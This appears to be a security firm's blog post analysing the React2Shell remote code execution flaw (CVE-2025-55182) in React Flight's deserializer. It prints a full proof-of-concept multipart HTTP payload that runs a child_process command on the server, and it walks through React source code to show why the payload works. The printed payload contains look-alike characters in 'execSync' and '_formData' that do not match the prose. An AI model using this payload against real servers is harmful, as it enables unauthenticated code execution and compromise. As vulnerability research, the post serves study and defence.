The most sophisticated attack we’ve encountered lately
Last week, we followed a critical remote code execution vulnerability affecting React and Next.js—CVE-2025-55182— AKA React2Shell. The vulnerability allows attackers to execute arbitrary code on vulnerable servers without any authentication, and millions of servers were at immediate risk by sending a specially crafted payload directly to the React server.
The technical complexity suggested this wasn’t just another CVE to patch and forget, and sure enough, within hours of the disclosure, reports emerged that Chinese state-sponsored hackers had begun actively exploiting React2Shell in the wild.
Most coverage of React2Shell takes a high-level view: threat intelligence, affected versions, patching guidance. In this post, we wanted to go deeper and show exactly what makes this exploit so sophisticated. To successfully weaponize this vulnerability, an attacker needs deep understanding of React’s internal code and the ability to chain together multiple distinct components, each serving a different purpose in the attack sequence.
We examined how it works and the specific code logic inside React that made this exploit possible. See for yourself: this is an exceptionally sophisticated exploit.
Introduction
React is one of the most popular JavaScript libraries for building user interfaces, created by Meta (Facebook), with over 1.97 billion total downloads and over 20 million weekly downloads.
While many blogs cover the threat intelligence and attack vector aspects of this vulnerability, we went as deep as possible to show you how it actually works—down to the specific lines of code inside React’s source that enable the exploit chain.
Exploit Overview
This vulnerability exploits React Flight’s server-side deserialization mechanism to achieve remote code execution through a carefully orchestrated prototype pollution and code injection attack. The exploit leverages a circular reference between two multipart form chunks: Chunk 0 contains a malicious JSON payload with crafted references, while Chunk 1 points back to Chunk 0 using $@0. By exploiting the $1:__proto__:then reference pattern, the attacker pollutes Chunk.prototype.then, then sets a fake chunk’s status to ‘resolved_model’ to trigger initializeModelChunk with attacker-controlled data. The payload hijacks _formData.get by traversing the constructor chain ($1:constructor:constructor) to obtain the Function constructor, while simultaneously placing malicious code in _response._prefix. When the Blob deserialization path processes a $B reference, it invokes what it believes is _formData.get() but is actually Function(malicious_code), creating and executing a function containing the attacker’s command (e.g., process.mainModule.require(‘child_process’).execSynс(‘calc’)), resulting in arbitrary code execution on the server.

Details
Now let’s walk through exactly how this attack unfolds, step by step through React’s source code.
In our last research, we showed and verified that the PoC published is actually working, making vulnerable servers immediately exploitable worldwide.
The payload we showed is as follows:
POST / HTTP/1.1
Host: e57c9a8b480c.ngrok-free.app
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 458
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSynс('calc');","_formDatа":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
We found it insightful to show why this exploit is actually working with the full flow with references to the source code.
We will start from the setting the boundaries for the protocol:
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryx8jO2oVc6SWP3SadWhich is then used when declaring the chunks, such as:
Content-Disposition: form-data; name="0"Then this name is used to save the first Chunk and store its data at:
(packages\react-server\src\ReactFlightReplyServer.js)
resolveField(response, key, value) is called during request processing to store form data: response._formData.append(key, value), where key is the name from the form (e.g., “0”).
export function resolveField(
response: Response,
key: string,
value: string,
): void {
// Add this field to the backing store.
response._formData.append(key, value);
const prefix = response._prefix;
if (key.startsWith(prefix)) {
const chunks = response._chunks;
const id = +key.slice(prefix.length);
const chunk = chunks.get(id);
if (chunk) {
// We were waiting on this key so now we can resolve it.
resolveModelChunk(response, chunk, value, id);
}
}
}
Then the function reviveModel in ReactFlightReplyServer.js is responsible for deserializing the JSON data from React Flight chunks into JavaScript objects during server-side processing.
(packages\react-server\src\ReactFlightReplyServer.js)
function reviveModel(
response: Response,
parentObj: any,
parentKey: string,
value: JSONValue,
reference: void | string,
): any {
if (typeof value === 'string') {
// We can't use .bind here because we need the "this" value.
return parseModelString(response, parentObj, parentKey, value, reference);
}
if (typeof value === 'object' && value !== null) {
if (
reference !== undefined &&
response._temporaryReferences !== undefined
) {
// Store this object's reference in case it's returned later.
registerTemporaryReference(
response._temporaryReferences,
value,
reference,
);
}
if (Array.isArray(value)) {
for (let i = 0; i < value.length; i++) {
const childRef =
reference !== undefined ? reference + ':' + i : undefined;
// $FlowFixMe[cannot-write]
value[i] = reviveModel(response, value, '' + i, value[i], childRef);
}
} else {
for (const key in value) {
if (hasOwnProperty.call(value, key)) {
const childRef =
reference !== undefined && key.indexOf(':') === -1
? reference + ':' + key
: undefined;
const newValue = reviveModel(
response,
value,
key,
value[key],
childRef,
);
if (newValue !== undefined) {
// $FlowFixMe[cannot-write]
value[key] = newValue;
} else {
// $FlowFixMe[cannot-write]
delete value[key];
}
}
}
}
}
return value;
}At first, this is sent:
"then":"$1:__proto__:then"Therefore, we will arrive at the code at:
} else {
for (const key in value) {
if (hasOwnProperty.call(value, key)) {
const childRef =
reference !== undefined && key.indexOf(':') === -1
? reference + ':' + key
: undefined;
const newValue = reviveModel(
response,
value,
key,
value[key],
childRef,
);Which recursively will call again to reviveModel with:
key = "then"
value = "$1:__proto__:then"
reviveModel(response, value, "then", value["then"], childRef)And since value is a string, this will be called:
if (typeof value === 'string') {
// We can't use .bind here because we need the "this" value.
return parseModelString(response, parentObj, parentKey, value, reference);
}(packages\react-server\src\ReactFlightReplyServer.js)
function parseModelString(
response: Response,
obj: Object,
key: string,
value: string,
reference: void | string,
): any {Our value is: “$1:__proto__:then” so we are getting inside the first if (line: 923):
if (value[0] === '$') {Then we are getting inside a switch case, which none of them responds to “1” Therefore, we will fall back to:
// We assume that anything else is a reference ID.
const ref = value.slice(1);
return getOutlinedModel(response, ref, obj, key, createModel);In our case:
ref = value.slice(1)Maps to:
1:__proto__:thenWhich calls:
getOutlinedModel(response, "1:__proto__:then", obj, key, createModel)(packages\react-server\src\ReactFlightReplyServer.js)
function getOutlinedModel<T>(
response: Response,
reference: string,
parentObject: Object,
key: string,
map: (response: Response, model: any) => T,
): T {
const path = reference.split(':');
const id = parseInt(path[0], 16);
const chunk = getChunk(response, id);Which, in our case we will get the values for path and id as follows:
path = ["1", "__proto__", "then"]
id = 1Which, in order to return the chunk, will make the call to:
function getChunk(response: Response, id: number): SomeChunk<any> {
const chunks = response._chunks;
let chunk = chunks.get(id);
return chunk;Which returns for undefined (not cached yet):
chunks.get(id)Resulting key to have the value of the id sent (namely: 1), resulting in the following call:
const backingEntry = response._formData.get(key);Which retrieves: “$@0”
This is where it creates:
chunk = createResolvedModelChunk(response, "$@0", 1)And caches it:
function createResolvedModelChunk<T>(
response: Response,
value: string,
id: number,
): ResolvedModelChunk<T> {
// $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
return new Chunk(RESOLVED_MODEL, value, id, response);
}Jumping into the Chunk function and since the status is RESOLVED_MODEL, we will jump to this part in the code:
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk);
break;
}Diving into initializeModelChunk , this is the critical part in the React Flight’s deserialization process:
function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
const prevChunk = initializingChunk;
const prevBlocked = initializingChunkBlockedModel;
initializingChunk = chunk;
initializingChunkBlockedModel = null;
const rootReference =
chunk.reason === -1 ? undefined : chunk.reason.toString(16);
const resolvedModel = chunk.value;We are taking ResolvedModelChunk<T> which has data not yet usable.
And transforms it into a full initialized, Java-Script-ready object.
It starts from extracting:
const resolvedModel = chunk.value;In other words: the string “$@0” from the form data.
Then, in order to convert it from a string to a basic JavaScript value we are calling:
const rawModel = JSON.parse(resolvedModel);Then (again) a call to reviveModel is made:
const value: T = reviveModel(
chunk._response,
{'': rawModel},
'',
rawModel,
rootReference,
);while passing the “$@0” to reviveModel it is again treated as:
if (typeof value === 'string') {
// We can't use .bind here because we need the "this" value.
return parseModelString(response, parentObj, parentKey, value, reference);
}Since we are starting with $@ we will get into this part in the code:
if (value[0] === '$') {
switch (value[1]) {
case '$': {
// This was an escaped string value.
return value.slice(1);
}
case '@': {
// Promise
const id = parseInt(value.slice(2), 16);
const chunk = getChunk(response, id);
return chunk;So, the revived value becomes the chunk object for id=0
This is where the status is set to INITIALIZED and the value is set:
} else {
const resolveListeners = cyclicChunk.value;
const initializedChunk: InitializedChunk<T> = (chunk: any);
initializedChunk.status = INITIALIZED;
initializedChunk.value = value;
if (resolveListeners !== null) {
wakeChunk(resolveListeners, value);
}
}This throws us at this part of the getOutlinedModel function:
switch (chunk.status) {
case INITIALIZED:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}Or in our case:
case INITIALIZED:
let value = chunk.value; // value = the chunk for id=0 (a Chunk object)
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // path = ["1", "__proto__", "then"]
}
// i=1: value = value["__proto__"] → Chunk.prototype
// i=2: value = value["then"] → Chunk.prototype.then (the then method)
return map(response, value); // createModel returns value directly → the then functionthe map function is a parameter passed to our getOutlinedModel, in our case is createModel:
function createModel(response: Response, model: any): any {
return model;
}so it basically returns the model, or value in our case – unchanged.
This is set as the Chunk.prototype.then as the then property.
We are back at:
for (const key in value) {
if (hasOwnProperty.call(value, key)) {
const childRef =
reference !== undefined && key.indexOf(':') === -1
? reference + ':' + key
: undefined;
const newValue = reviveModel(
response,
value,
key,
value[key],
childRef,
);
Since the value[“status”] is the string: “resolved_model” and doesn’t start with something special (as we had before), it just returns the string as-is.
Then we are parsing “reason”:-1 which just sets it on the parent object.
Next, the loop moves on to:
“value”: “{\”then\”:\”$B1337\”}”
Since it’s a string that doesn’t start with $ parseModelString returns it unchanged, and triggers at the end where we will dive into it and show how it leads to the execution of the code.
Now, we are reaching the “_response” with the object:
{“_prefix”:”process.mainModule.require(‘child_process’).execSync(‘calc’);”,”_formData”:{“get”:”$1:constructor:constructor”}}
Since it’s an object, and as we have seen from the start, the reviveModel calls itself recursively on this _response object, which passes it as the new parent object.
We are starting with “_prefix” and since it’s not starting with $, parseModelString returns it unchanged.
This sets the _response[“_prefix”] to:
“process.mainModule.require(‘child_process’).execSync(‘calc’);”
Next moving on to: “_formData” which receives an object:
{“get”:”$1:constructor:constructor”}
This starts processing the _formData’s properties via the reviveModel.
We are getting to the processing of “get” which gets the string:
“$1:constructor:constructor”
But… it starts with $, but 1 doesn’t match any case, so we will arrive to the function parseModelString at line 1084:
(packages\react-server\src\ReactFlightReplyServer.js)
// We assume that anything else is a reference ID.
const ref = value.slice(1);
return getOutlinedModel(response, ref, obj, key, createModel);Which calls:
getOutlinedModel(response, "1:constructor:constructor", _formData, "get", createModel)Taking a closer look at the function:
function getOutlinedModel<T>(
response: Response,
reference: string,
parentObject: Object,
key: string,
map: (response: Response, model: any) => T,
): T {
const path = reference.split(':');
const id = parseInt(path[0], 16);
const chunk = getChunk(response, id);getOutlinedModel splits the path [“1”, “constructor”, “constructor”], gets id = 1 (the 1 chunk).
And we will get into:
switch (chunk.status) {
case INITIALIZED:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}
return map(response, value);Which will traverses value[“constructor”][“constructor”] → Chunk.constructor.constructor → Function
The “value” is parsed at the end of the request processing, when processing: $B1337
We will get again to:
if (typeof value === 'string') {
// We can't use .bind here because we need the "this" value.
return parseModelString(response, parentObj, parentKey, value, reference);
}$B takes us to:
case 'B': {
// Blob
const id = parseInt(value.slice(2), 16);
const prefix = response._prefix;
const blobKey = prefix + id;
// We should have this backingEntry in the store already because we emitted
// it before referencing it. It should be a Blob.
const backingEntry: Blob = (response._formData.get(blobKey): any);
return backingEntry;
}Which calls Function with the command execution:
process.mainModule.require('child_process').execSync('calc');Summary
This vulnerability exploits React Flight’s server-side deserialization in ReactFlightReplyServer.js by manipulating the reviveModel function to achieve prototype pollution and arbitrary code execution. Attackers craft a multipart/form-data payload that deserializes into a fake “chunk” object mimicking a Chunk instance, with status: ‘resolved_model’ to trigger initializeModelChunk. This uses a controlled _response object containing a malicious _prefix (the executable code) and _formData: {get: Function}, hijacking Chunk.prototype.then via a reference chain. When parsing a $B reference, the Blob deserialization path invokes Function(prefix + id), creating a function with the attacker’s code as its body, which is assigned to the then property. Subsequent promise-like operations (e.g., await or .then()) on the deserialized object execute the malicious function, enabling remote code execution on vulnerable servers.
What Can You Do?
For more details about the origin of the vulnerability, and how to protect yourself, you can refer to our original blog.
Worried your environment was exposed by CVE-2025-55182?
Contact us to validate your exposure and understand the impact.


